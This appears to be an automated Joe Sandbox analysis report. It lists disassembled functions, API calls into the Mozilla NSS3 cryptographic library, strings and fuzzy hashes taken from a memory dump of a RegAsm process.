PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C004E20

Strings

*pulSize = 0x%x, xrefs: 6C004E1B
pulSize = 0x%p, xrefs: 6C004DB7
C_GetObjectSize, xrefs: 6C004CEE
hObject = 0x%x, xrefs: 6C004D65, 6C004D75
(CK_INVALID_HANDLE), xrefs: 6C004D30, 6C004D83
hSession = 0x%x, xrefs: 6C004D12, 6C004D22

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 687ab7eb1ccfed38709021993a86d391334007eac1568beb004d0609c7777983
Instruction ID: 475f36c71208a9c9451ff77b974bc7a9cf7cc19c884f4dfe346040c797de05c2
Opcode Fuzzy Hash: 687ab7eb1ccfed38709021993a86d391334007eac1568beb004d0609c7777983
Instruction Fuzzy Hash: 8141F671740104BFEB10AF90DD88F6A3BF5EB9630DF054425E90C6B612DB34A989EB96

Function 6C00A9A0 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptMessageBegin), ref: 6C00A9C6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C00A9F4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C00AA03

Part of subcall function 6C0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C00AA19
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C00AA3A
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C00AA55
PR_LogPrint.NSS3( pAssociatedData = 0x%p,?), ref: 6C00AA6E
PR_LogPrint.NSS3( ulAssociatedDataLen = 0x%p,?), ref: 6C00AA87

Strings

pAssociatedData = 0x%p, xrefs: 6C00AA69
ulParameterLen = 0x%p, xrefs: 6C00AA50
ulAssociatedDataLen = 0x%p, xrefs: 6C00AA82
pParameter = 0x%p, xrefs: 6C00AA35
(CK_INVALID_HANDLE), xrefs: 6C00A9FC
hSession = 0x%x, xrefs: 6C00A9DE, 6C00A9EE
C_DecryptMessageBegin, xrefs: 6C00A9C1

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pAssociatedData = 0x%p$ pParameter = 0x%p$ ulAssociatedDataLen = 0x%p$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptMessageBegin
API String ID: 1003633598-2188218412
Opcode ID: 1143d9dbd997e1a7bcee54d17315090fe2395570841166118920618bab4d208e
Instruction ID: d3c31b040e2e769339bb9f81fb19dd12e5f8e2c51e6c28b252d3a141c5e60dc0
Opcode Fuzzy Hash: 1143d9dbd997e1a7bcee54d17315090fe2395570841166118920618bab4d208e
Instruction Fuzzy Hash: D031B235701145AFEB10EF54DE49F9A3BF1EB8731CF154024E80C67A52DB34A989EBA1

Function 6C09CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C09CC7B), ref: 6C09CD7A

Part of subcall function 6C09CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C00C1A8,?), ref: 6C09CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C09CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C09CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C09CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C09CD8E

Part of subcall function 6BFC05C0: PR_EnterMonitor.NSS3 ref: 6BFC05D1
Part of subcall function 6BFC05C0: PR_ExitMonitor.NSS3 ref: 6BFC05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C09CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C09CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C09CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C09CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C09CE48

Strings

getnameinfo, xrefs: 6C09CDB2, 6C09CE23
ws2_32.dll, xrefs: 6C09CD75
getaddrinfo, xrefs: 6C09CD88, 6C09CDF9
wship6.dll, xrefs: 6C09CDE3
freeaddrinfo, xrefs: 6C09CD9F, 6C09CE10

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 501ea6758eb867012c42f2fb25e324c831ca3e53942e85c733c0cd0d2ce78707
Instruction ID: b4edb98d0a83cec6c69c12450ef55b22292f8d2c4623146a140948f381d7f4f6
Opcode Fuzzy Hash: 501ea6758eb867012c42f2fb25e324c831ca3e53942e85c733c0cd0d2ce78707
Instruction Fuzzy Hash: 2B1106F7F0351223EB1066B12C05B5B39D85B0200DF282935E80ED6E60FF64C95296F3

Function 6C036CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C101DE0,?), ref: 6C036CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C036D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C036D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C036D82
DER_GetInteger_Util.NSS3(?), ref: 6C036DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C036DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C036E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C036F19
PK11_DigestBegin.NSS3(00000000), ref: 6C036F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C036F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C037011
PK11_FreeSymKey.NSS3(00000000), ref: 6C037033
free.MOZGLUE(?), ref: 6C03703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C037060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C037087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C0370AF

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: d87faf5ba27b8670de9f3d79a477b2d45dcee18a9b9e9381576094a406725cc8
Instruction ID: 6751120146883ea045f0c47cab18c48b58c4c0c12ea1a4c74068edb1e3906c97
Opcode Fuzzy Hash: d87faf5ba27b8670de9f3d79a477b2d45dcee18a9b9e9381576094a406725cc8
Instruction Fuzzy Hash: C6A107719082229FEB008B24CC45B6E72E5FB8130CF249939E91DCBB91E779E849C753

Function 6BFFAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6BFDAB95,00000000,?,00000000,00000000,00000000), ref: 6BFFAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6BFDAB95,00000000,?,00000000,00000000,00000000), ref: 6BFFAF39
PR_Unlock.NSS3(?,?,?,6BFDAB95,00000000,?,00000000,00000000,00000000), ref: 6BFFAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6BFDAB95,00000000,?,00000000,00000000,00000000), ref: 6BFFAF69
TlsGetValue.KERNEL32 ref: 6BFFB06B
EnterCriticalSection.KERNEL32(?), ref: 6BFFB083
PR_Unlock.NSS3(?), ref: 6BFFB0A4
TlsGetValue.KERNEL32 ref: 6BFFB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6BFFB0D9
PR_Unlock.NSS3 ref: 6BFFB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BFFB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BFFB182

Part of subcall function 6C02FAB0: free.MOZGLUE(?,-00000001,?,?,6BFCF673,00000000,00000000), ref: 6C02FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6BFFB177

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6BFDAB95,00000000,?,00000000,00000000,00000000), ref: 6BFFB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6BFDAB95,00000000,?,00000000,00000000,00000000), ref: 6BFFB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6BFDAB95,00000000,?,00000000,00000000,00000000), ref: 6BFFB1C2

Part of subcall function 6C021560: TlsGetValue.KERNEL32(00000000,?,6BFF0844,?), ref: 6C02157A
Part of subcall function 6C021560: EnterCriticalSection.KERNEL32(?,?,?,6BFF0844,?), ref: 6C02158F
Part of subcall function 6C021560: PR_Unlock.NSS3(?,?,?,?,6BFF0844,?), ref: 6C0215B2

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 0466c14d95adfaf3d7f5e7649aa320dc951089cd450d8ae822af3bad95c1005e
Instruction ID: c4bf632aa62527d36b5c4ec91d7afac1c79ef3006f5ebbf91f9b5cb05ac2a499
Opcode Fuzzy Hash: 0466c14d95adfaf3d7f5e7649aa320dc951089cd450d8ae822af3bad95c1005e
Instruction Fuzzy Hash: 83A1C7B6D00206ABEF019F74DC81BAE77B8BF05308F144564E905A7272E739E956CBE1

Function 6C04AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C04ADB1

Part of subcall function 6C02BE30: SECOID_FindOID_Util.NSS3(6BFE311B,00000000,?,6BFE311B,?), ref: 6C02BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C04ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C04AE08

Part of subcall function 6C02B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C1018D0,?), ref: 6C02B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C04AE25
PL_FreeArenaPool.NSS3 ref: 6C04AE63
PR_CallOnce.NSS3(6C132AA4,6C0312D0), ref: 6C04AE4D

Part of subcall function 6BF54C70: TlsGetValue.KERNEL32(?,?,?,6BF53921,6C1314E4,6C09CC70), ref: 6BF54C97
Part of subcall function 6BF54C70: EnterCriticalSection.KERNEL32(?,?,?,?,6BF53921,6C1314E4,6C09CC70), ref: 6BF54CB0
Part of subcall function 6BF54C70: PR_Unlock.NSS3(?,?,?,?,?,6BF53921,6C1314E4,6C09CC70), ref: 6BF54CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C04AE93
PR_CallOnce.NSS3(6C132AA4,6C0312D0), ref: 6C04AECC
PL_FreeArenaPool.NSS3 ref: 6C04AEDE
PL_FinishArenaPool.NSS3 ref: 6C04AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C04AEF5
PL_FinishArenaPool.NSS3 ref: 6C04AF16

Strings

security, xrefs: 6C04ADEE

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 5c7896fefbf540f43d0528291619bf5bccf85299212d328764376bac6c780fee
Instruction ID: 4d7e05a49ea78eff286417f415a36cedfd35803c183c2fafecfd52e14dbf660b
Opcode Fuzzy Hash: 5c7896fefbf540f43d0528291619bf5bccf85299212d328764376bac6c780fee
Instruction Fuzzy Hash: BE4128B2904211E7EB219B259C49FAF32E4AF4231CF704535E92997F41FB39E61486E3

Function 6C03E8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6C03E853,?,FFFFFFFF,?,?,6C03B0CC,?,6C03B4A0,?,00000000), ref: 6C03E8D9

Part of subcall function 6C030D30: calloc.MOZGLUE ref: 6C030D50
Part of subcall function 6C030D30: TlsGetValue.KERNEL32 ref: 6C030D6D

Part of subcall function 6C03C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C03DAE2,?), ref: 6C03C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6C03E972
PORT_ArenaMark_Util.NSS3(?), ref: 6C03E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C03EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C03EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C03EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C03EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6C03EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C03EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6C03EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6C03EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6C03EBEC
free.MOZGLUE(00000000), ref: 6C03EC58

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: 9b1360b2aa6061627e9449de7361b37010b44d297691a96d259842f0a9da12dd
Instruction ID: c0a7b787edfed6910323de1531cc1e329994195417a63d0f975556bf9e99c947
Opcode Fuzzy Hash: 9b1360b2aa6061627e9449de7361b37010b44d297691a96d259842f0a9da12dd
Instruction Fuzzy Hash: 7CC1A3B1E012269BEB00CF69D881BAE77F4AF49308F141169E91AA7751E735FC05CBE1

Function 6C0129A0 Relevance: 22.8, APIs: 15, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,6BFE6A5E,00000001,00000000,?,6BFE6540,?,0000000D,00000000), ref: 6C012A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6BFE6A5E,00000001,00000000,?,6BFE6540,?,0000000D,00000000), ref: 6C012A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6BFE6A5E,00000001,00000000,?,6BFE6540,?,0000000D), ref: 6C012A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BFE6A5E,00000001), ref: 6C012AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6BFE6A5E,00000001,00000000), ref: 6C012ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BFE6A5E,00000001), ref: 6C012ADF
PR_Unlock.NSS3(?), ref: 6C012B38
PR_Unlock.NSS3(?), ref: 6C012B8B

Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07AD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07CD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07D6
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6BF5204A), ref: 6BFC07E4
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,6BF5204A), ref: 6BFC0864
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BFC0880
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6BF5204A), ref: 6BFC08CB
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08D7
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,6BFE6A5E,00000001,00000000,?,6BFE6540,?,0000000D,00000000,?), ref: 6C012CA2

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID:
API String ID: 2580468248-0
Opcode ID: e73416f8314e2e7eda60fe5db5604d655d0a3087d9fe850652c52a32eb8eca26
Instruction ID: 5286f37967ab892e513917b7473dea0a93e9d84e8afbd260f5574bcbfdb5af78
Opcode Fuzzy Hash: e73416f8314e2e7eda60fe5db5604d655d0a3087d9fe850652c52a32eb8eca26
Instruction Fuzzy Hash: 04B1E0B5D042059FDB10DFA8D988B9AF7F5FF0A308F544529E905A3E11E731E981CB91

Function 6BFF2980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6BFD9E71,?,?,6BFEF03D), ref: 6BFF29A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6BFD9E71,?), ref: 6BFF29B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6BFD9E71,?,?,6BFEF03D), ref: 6BFF29E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6BFD9E71,?), ref: 6BFF29F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BFD9E71,?), ref: 6BFF2A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6BFD9E71), ref: 6BFF2A13

Part of subcall function 6C07DD70: TlsGetValue.KERNEL32 ref: 6C07DD8C
Part of subcall function 6C07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C07DDB4

PR_Unlock.NSS3(?), ref: 6BFF2A6A
TlsGetValue.KERNEL32 ref: 6BFF2A98
EnterCriticalSection.KERNEL32(?), ref: 6BFF2AAC
PL_HashTableLookup.NSS3(?,?), ref: 6BFF2ABC
PR_Unlock.NSS3(?), ref: 6BFF2AC9
TlsGetValue.KERNEL32 ref: 6BFF2B3D
EnterCriticalSection.KERNEL32(?), ref: 6BFF2B51
PL_HashTableLookup.NSS3(?,6BFD9E71), ref: 6BFF2B61
PR_Unlock.NSS3(?), ref: 6BFF2B6E

Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07AD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07CD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07D6
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6BF5204A), ref: 6BFC07E4
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,6BF5204A), ref: 6BFC0864
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BFC0880
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6BF5204A), ref: 6BFC08CB
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08D7
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08FB

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: 08c1bebaf0545c7ff81c5a43d185f0870fb657ccab864d4e32c9e6853c3edfff
Instruction ID: c84e1d1e940b8f00607780f10d47aed946aba69724f7ae700be305efc92f0294
Opcode Fuzzy Hash: 08c1bebaf0545c7ff81c5a43d185f0870fb657ccab864d4e32c9e6853c3edfff
Instruction Fuzzy Hash: AC71E5B7900605ABDF109F34DC4196AB7BCFF05358B048564ED189B232EB36E992CBA1

Function 6BFE8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6BFE8E22
EnterCriticalSection.KERNEL32(?), ref: 6BFE8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6BFE8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6BFE8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6BFE8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6BFE8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6BFE8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6BFE8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6BFE8F00
free.MOZGLUE(?), ref: 6BFE8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6BFE8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6BFE8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6BFE8F5B
PR_Unlock.NSS3(?), ref: 6BFE8F72
PR_Unlock.NSS3(?), ref: 6BFE8F82

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

